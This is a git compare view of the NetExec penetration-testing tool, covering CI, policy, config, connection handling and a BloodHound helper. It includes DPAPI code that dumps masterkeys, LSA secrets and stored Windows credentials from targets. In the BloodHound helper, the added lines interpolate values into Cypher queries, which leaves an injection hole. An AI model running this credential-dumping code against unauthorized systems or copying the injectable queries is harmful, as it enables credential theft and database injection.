Compare commits

..
Author SHA1 Message Date
Marshall Hallenbeck 61b51145d4 tests(get_folder): add e2e test line 2026-04-06 14:51:43 -04:00
Marshall Hallenbeck 47292c512c fix(smb): add path sanitization helper and apply to download_folder 2026-04-06 14:42:22 -04:00
Marshall Hallenbeck 0806923cc5 feat(smb): add --get-folder command for downloading remote directories
Add download_file(), download_folder(), and get_folder() methods to the
SMB protocol. Refactor get_file_single() to use download_file() with
automatic fallback from READ to READ/WRITE access on sharing violations.

New CLI args: --get-folder, --recursive, --ignore-empty-folders

Example: nxc smb target -u user -p pass --share SYSVOL --get-folder 'domain\Policies' ./output --recursive
2026-04-06 14:36:32 -04:00
164 changed files with 5096 additions and 11460 deletions

No files matched your search

+3 -10
View File
@@ -2,16 +2,10 @@
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
### AI Assistance
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
Note that if you have used AI, you:
- MUST test the changes against a live system
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
## Type of change
Insert an "x" inside the brackets for relevant items
Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
@@ -22,8 +16,7 @@ Insert an "x" inside the brackets for relevant items
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
+2 -2
View File
@@ -9,8 +9,8 @@ jobs:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
python-version: ["3.14"]
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.13"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
+1 -1
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.11", "3.12", "3.13", "3.14"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
+14 -10
View File
@@ -14,16 +14,20 @@ jobs:
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
enable-cache: true
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
run: uv python install 3.14
- name: Install project with dev group
run: uv sync --dev
uses: actions/setup-python@v5
with:
python-version: 3.13
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
run: |
poetry install --with dev
- name: Run ruff
run: |
uv run ruff --version
uv run ruff check . --preview
poetry run ruff --version
poetry run ruff check . --preview
+1 -1
View File
@@ -1,7 +1,7 @@
name: PR Template Check
on:
pull_request_target:
pull_request:
types: [opened, edited]
permissions:
+28 -19
View File
@@ -14,26 +14,35 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.11", "3.12", "3.13", "3.14"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
enable-cache: true
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
poetry --version
poetry env info
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
run: uv python install ${{ matrix.python-version }}
- name: Install project
run: uv sync --python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Load every protocol and module
run: |
uv run netexec winrm 127.0.0.1
uv run netexec vnc 127.0.0.1
uv run netexec smb 127.0.0.1
uv run netexec ldap 127.0.0.1
uv run netexec wmi 127.0.0.1
uv run netexec rdp 127.0.0.1
uv run netexec mssql 127.0.0.1
uv run netexec ssh 127.0.0.1
uv run netexec ftp 127.0.0.1
uv run netexec smb 127.0.0.1 -L
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -L
-2
View File
@@ -64,5 +64,3 @@ docs/_build/
# PyBuilder
target/
nxc/.DS_Store
.DS_Store
-48
View File
@@ -1,48 +0,0 @@
# Authorized testing scope
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
- Repository instructions do not grant authorization to test any third-party system.
# Coding style
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
- Always bind caught exceptions as `e`, not `error` or another name.
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
# NetExec protocol structure
- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
# NetExec module structure
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
- Module scope should contain only imports and the `NXCModule` class definition.
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
- Run `ruff check .` after every coding session.
# Development and validation
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
- Record every module-verification command in `tests/e2e_commands.txt`.
- Do not run compilation checks.
- Run Ruff after completing a coding session.
# Filesystem and source conventions
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
- Place imports at the top of files unless explicitly instructed otherwise.
+6 -7
View File
@@ -21,13 +21,12 @@ The NetExec project has strict rules for AI usage:
code for platforms or environments you don't have access to manually
test on.
- **Issues and pull requests should be written by humans.**
Communication should remain human, not AI, and should be clear and concise.
AI is very good at being overly verbose and including noise that distracts
from the main point. While it is fine to cite AI or include AI-generated
content, the main content of your issue or pull request should be written
by a human. Issues or pull requests that look like they are just the
result of an AI prompt will likely be rejected and closed.
- **Issues and discussions can use AI assistance but must have a full
human-in-the-loop.** This means that any content generated with AI
must have been reviewed _and edited_ by a human before submission.
AI is very good at being overly verbose and including noise that
distracts from the main point. Humans must do their research and
trim this down.
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
Text and code are the only acceptable AI-generated content, per the
+1 -1
View File
@@ -13,7 +13,7 @@ clean:
find . -name '.pytest_cache' -exec rm -rf {} +
tests:
ruff check .
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
requirements:
poetry export --without-hashes -f requirements.txt -o requirements.txt
-1
View File
@@ -65,4 +65,3 @@ Awesome code contributors of NetExec:
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
[![](https://github.com/azoxlpf.png?size=50)](https://github.com/azoxlpf)
+2 -15
View File
@@ -19,7 +19,6 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certihound',
'certipy.commands.find',
'certipy.lib.formatting',
'certipy.lib.target',
@@ -32,12 +31,11 @@ a = Analysis(
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dcerpc.v5.tsts',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'impacket.krb5.kpasswd',
'jwt',
'nxc.connection',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
@@ -49,12 +47,9 @@ a = Analysis(
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.dpapi',
'nxc.helpers.even6_parser',
'nxc.helpers.firefox',
'nxc.helpers.msada_guids',
'nxc.helpers.negotiate_parser',
'nxc.helpers.smb',
'paramiko',
'pefile',
'pypsrp.client',
@@ -85,19 +80,11 @@ a = Analysis(
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'dploot.lib.network.mssql',
'dploot.lib.network.winrm',
'dsinternals.common.cryptography.X509Certificate2',
'dsinternals.common.data.DNWithBinary',
'dsinternals.common.data.hello.KeyCredential',
'dsinternals.system.DateTime',
'dsinternals.system.Guid',
'lxml.objectify',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
+1 -3
View File
@@ -30,10 +30,8 @@ def gen_cli_args():
generic_group = generic_parser.add_argument_group("Generic Options")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output Options")
-7
View File
@@ -38,13 +38,6 @@ reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
if not isinstance(exclude_hosts, list):
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
exit(1)
if len(host_info_colors) != 4:
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
+51 -33
View File
@@ -14,11 +14,15 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.helpers.path import sanitize_path_component
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
from impacket.krb5.ccache import CCache
sem = BoundedSemaphore(1)
fail_lock = Lock()
@@ -96,6 +100,37 @@ def requires_admin(func):
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
class connection:
def __init__(self, args, db, target):
self.args = args
@@ -104,24 +139,19 @@ class connection:
self.conn = None
self.output_file_template = None
self.output_filename = None
self.protocol = args.protocol
# Authentication info
self.password = ""
self.username = ""
self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
self.args.aesKey or
(self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel) # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
# Network info
self.domain = None
@@ -143,14 +173,12 @@ class connection:
if self.kerberos:
self.host = self.hostname
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except ConnectionRefusedError as e:
self.logger.error(f"Target {target} refused the connection: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
@@ -212,26 +240,27 @@ class connection:
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if not self.create_conn_obj():
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.info(f"Successfully created connection object for target '{self.host}'")
self.logger.debug("Created connection object")
self.enum_host_info()
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth): # a failed certificate auth is not a null session
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
@@ -305,7 +334,7 @@ class connection:
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
return True
return False
@@ -527,29 +556,22 @@ class connection:
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
from impacket.krb5.ccache import CCache
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
password = self.args.password[0] if len(self.args.password) else ""
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.certificate_auth:
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if self.args.protocol == "ldap" and self.args.schannel:
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
with sem:
return self.plaintext_login(self.domain, "", "")
if not username:
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
from nxc.helpers.pfx import pfx_auth
return pfx_auth(self, domain[0], username[0])
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
from nxc.protocols.ldap.laps import laps_search
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
@@ -581,9 +603,5 @@ class connection:
self.modules = []
for module_path in self.module_paths:
try:
module = loader.init_module(module_path)
except ModuleOptionsError as e:
self.logger.debug(f"Skipping module: {e}")
continue
module = loader.init_module(module_path)
self.modules.append(module)
-3
View File
@@ -7,9 +7,6 @@ reveal_chars_of_pwd = 0
log_mode = False
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
display_dc = True
skip_self = False
exclude_hosts = []
[BloodHound]
bh_enabled = False
+4 -7
View File
@@ -204,10 +204,7 @@ class BaseDB:
self.db_execute(table.delete())
def db_execute(self, *args):
with self.lock:
res = self.sess.execute(*args)
return res.freeze()() if res.returns_rows else res
def get_keys(self, key_id=None, cred_id=None):
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
return []
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
+5 -5
View File
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
with driver.session().begin_transaction() as tx:
for user_info in users_owned:
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
if not domain_query:
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
_add_without_domain(user_info, tx, logger)
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
user_owned = f"{user_info['username']}@{domain}"
account_type = "User"
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
return
if result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
user_owned = user_info["username"]
account_type = "User"
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
return
elif result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
-461
View File
@@ -1,461 +0,0 @@
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
from dploot.lib.target import Target
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.cng import CngTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.triage.vaults import VaultsTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.logger import highlight
def upgrade_to_dploot_connection(target, connection):
"""
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
This function gets the calling NXC protocol and tries reuse the already opened connection
on DPLoot directly. If not it opens up a new connection.
"""
conn = None
protocol = target.protocol
try:
match protocol:
case "smb":
from dploot.lib.network.smb import DPLootSMBConnection
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection.conn
else:
conn.connect()
case "wmi":
from dploot.lib.network.wmi import DPLootWMIConnection
conn = DPLootWMIConnection(target)
if connection is not None:
conn.dcom = connection.dcom_conn
conn.iWbemLevel1Login = connection.iWbemLevel1Login
else:
conn.connect()
case "winrm":
from dploot.lib.network.winrm import DPLootWINRMConnection
conn = DPLootWINRMConnection(target)
if connection is not None:
conn.conn = connection.conn
else:
conn.connect()
case "mssql":
from dploot.lib.network.mssql import DPLootMSSQLConnection
conn = DPLootMSSQLConnection(target)
if connection is not None:
conn.conn = connection.conn
except Exception as e:
connection.logger.debug(e)
return None
return conn
class DPAPITriage:
"""
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
```
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = <dploot target creation>
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
```
This way, every DPAPI related module will automaticaly work with the protocol
"""
def __init__(self, connection, target: Target):
self.connection = connection
self.target = target
self.conn = None
self.dump_cookies = False
self.masterkeys = []
self._pvkbytes = None
# Keep track of writing secrets in file
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
self.secrets_counter = 0
if connection.args.dpapi is not None:
self.dump_cookies = "cookies" in connection.args.dpapi
# Variables to know what materkey types have already been dumped
self.system_masterkeys_already_dumped = False
self.users_masterkeys_already_dumped = False
# Initialize the connection here, if you need this class then you will need the connection
self.init_connection()
def __del__(self):
# When everything is finished, then we give the feedback to the user
if self.output_file is not None and self.secrets_counter > 0:
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
def log_secret(self, line, logger=None):
# Handle the secret counter here, avoid to handle it in multiple places
if logger is None:
logger = self.connection.logger
logger.highlight(line)
with open(self.output_file, "a", encoding="utf-8") as fd:
self.secrets_counter += 1
fd.write(line + "\n")
def init_connection(self):
"""Tries to initiate a DPLootConnection object from a NXC connection"""
if self.conn is not None:
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
return
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
if self.conn is None:
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
return
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
"""
Get and decrypt masterkeys from the target.
dump_users: If True, then user masterkeys will be collected if they have not already been
dump_system: If True, then system masterkeys will be collected if they have not already been
"""
# If we have already dumped everything, then we won't find new stuff
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
return self.masterkeys
masterkeys = []
plaintexts = {}
nthashes = {}
# First, check and handle the mkfile arg
if self.connection.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
except Exception as e:
self.connection.logger.fail(str(e))
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
users = self.conn.list_users()
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
# dploot matches user.lower()
if self.connection.password != "":
plaintexts[self.connection.username.lower()] = self.connection.password
if self.connection.nthash != "":
nthashes[self.connection.username.lower()] = self.connection.nthash
# Now prepare the SYSTEM part
if (dump_system
and self.connection.dpapi_system_key is None
and hasattr(self.connection, "lsa")
and callable(self.connection.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
self.connection.lsa(quiet=True)
if self.connection.dpapi_system_key is not None:
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
else:
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
# Invoke MasterkeyTriage class
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem=self.connection.dpapi_system_key,
)
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
# Collect User Masterkeys if this has not already been done
if dump_users and not self.users_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI Users masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.users_masterkeys_already_dumped = True
# Collect SYSTEM Masterkeys if this has not already been done
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.system_masterkeys_already_dumped = True
except Exception as e:
self.connection.logger.debug(f"Could not get masterkeys: {e}")
self.masterkeys += masterkeys
# If we decrypted new masterkeys, print the message
if len(masterkeys) > 0:
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
return self.masterkeys
def triage_credentials(self, masterkeys: list[Masterkey]):
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
